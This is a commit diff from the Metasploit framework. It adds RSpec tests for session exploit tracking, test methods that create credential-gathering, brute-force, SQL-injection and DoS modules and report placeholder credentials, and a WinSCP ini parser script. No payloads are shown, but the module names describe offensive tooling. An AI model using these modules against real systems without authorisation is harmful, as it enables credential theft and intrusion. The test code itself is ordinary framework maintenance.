it "should have session.exploit_datastore['ParentModule']" do
|
||||||
|
session.exploit_datastore['ParentModule'].should_not be_nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.via_exploit).to eq(parent_module_fullname) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "without session.via_exploit 'exploit/multi/handler'" do
|
||||||
|
before(:each) do
|
||||||
|
reference_name = 'windows/smb/ms08_067_netapi'
|
||||||
|
path = File.join(
|
||||||
|
parent_path,
|
||||||
|
'exploits',
|
||||||
|
"#{reference_name}.rb"
|
||||||
|
)
|
||||||
|
type = 'exploit'
|
||||||
|
|
||||||
|
# fake cache data for ParentModule so it can be loaded
|
||||||
|
framework.modules.send(
|
||||||
|
:module_info_by_path=,
|
||||||
|
{
|
||||||
|
path =>
|
||||||
|
{
|
||||||
|
:parent_path => parent_path,
|
||||||
|
:reference_name => reference_name,
|
||||||
|
:type => type,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
session.via_exploit = "#{type}/#{reference_name}"
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should not have session.via_exploit of 'exploit/multi/handler'" do
|
||||||
|
session.via_exploit.should_not == 'exploit/multi/handler'
|
||||||
|
end
|
||||||
|
|
||||||
|
it { expect(subject.via_exploit).to eq(session.via_exploit) }
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -359,7 +359,126 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def test_mount_cifs_creds
|
||||||
|
mod = framework.post.create('linux/gather/mount_cifs_creds')
|
||||||
|
mock_post_mod_session(mod)
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_mysql_enum
|
||||||
|
mod = framework.auxiliary.create('admin/mysql/mysql_enum')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_jtr_oracle_fast
|
||||||
|
mod = framework.auxiliary.create('analyze/jtr_oracle_fast')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_vbulletin_vote_sqli_exec
|
||||||
|
mod = framework.exploits.create('unix/webapp/vbulletin_vote_sqli_exec')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_sap_mgmt_con_brute_login
|
||||||
|
mod = framework.auxiliary.create('scanner/sap/sap_mgmt_con_brute_login')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_sap_ctc_verb_tampering_user_mgmt
|
||||||
|
mod = framework.auxiliary.create('scanner/sap/sap_ctc_verb_tampering_user_mgmt')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_scanner_oracle_login
|
||||||
|
mod = framework.auxiliary.create('scanner/oracle/oracle_login')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF, status: Metasploit::Model::Login::Status::SUCCESSFUL)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_isqlplus_login
|
||||||
|
mod = framework.auxiliary.create('scanner/oracle/isqlplus_login')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_dvr_config_disclosure
|
||||||
|
mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_lotus_domino_login
|
||||||
|
mod = framework.auxiliary.create('scanner/lotus/lotus_domino_login')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_openmind_messageos_login
|
||||||
|
mod = framework.auxiliary.create('scanner/http/openmind_messageos_login')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_dell_idrac
|
||||||
|
mod = framework.auxiliary.create('scanner/http/dell_idrac')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_windows_deployment_services
|
||||||
|
mod = framework.auxiliary.create('scanner/dcerpc/windows_deployment_services')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dcerpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_couchdb_login
|
||||||
|
mod = framework.auxiliary.create('scanner/couchdb/couchdb_login')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'couchdb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_wp_w3_total_cache_hash_extract
|
||||||
|
mod = framework.auxiliary.create('gather/wp_w3_total_cache_hash_extract')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_windows_deployment_services_shares
|
||||||
|
mod = framework.auxiliary.create('gather/windows_deployment_services_shares')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_vbulletin_vote_sqli
|
||||||
|
mod = framework.auxiliary.create('gather/vbulletin_vote_sqli')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_hp_snac_domain_creds
|
||||||
|
mod = framework.auxiliary.create('gather/hp_snac_domain_creds')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_d20pass
|
||||||
|
mod = framework.auxiliary.create('gather/d20pass')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_doliwamp_traversal_creds
|
||||||
|
mod = framework.auxiliary.create('gather/doliwamp_traversal_creds')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_apache_rave_creds
|
||||||
|
mod = framework.auxiliary.create('gather/apache_rave_creds')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Apache Rave', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_wordpress_long_password_dos
|
||||||
|
mod = framework.auxiliary.create('dos/http/wordpress_long_password_dos')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_modicon_password_recovery
|
||||||
|
mod = framework.auxiliary.create('admin/scada/modicon_password_recovery')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_advantech_webaccess_dbvisitor_sqli
|
||||||
|
mod = framework.auxiliary.create('admin/scada/advantech_webaccess_dbvisitor_sqli')
|
||||||
|
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
counter_all = 0
|
counter_all = 0
|
||||||
|
@ -389,4 +508,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_line
|
print_line
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def mock_post_mod_session(mod)
|
||||||
|
mod.define_singleton_method(:session_db_id) { 1 }
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
|
||||||
|
require 'rex/parser/winscp'
|
||||||
|
|
||||||
|
exit unless ARGV.count == 1
|
||||||
|
|
||||||
|
include Rex::Parser::WinSCP
|
||||||
|
|
||||||
|
puts ARGV.first
|
||||||
|
read_and_parse_ini(ARGV.first).each do |res|
|
||||||
|
puts res.inspect
|
||||||
|
end
|
Loading…
Reference in New Issue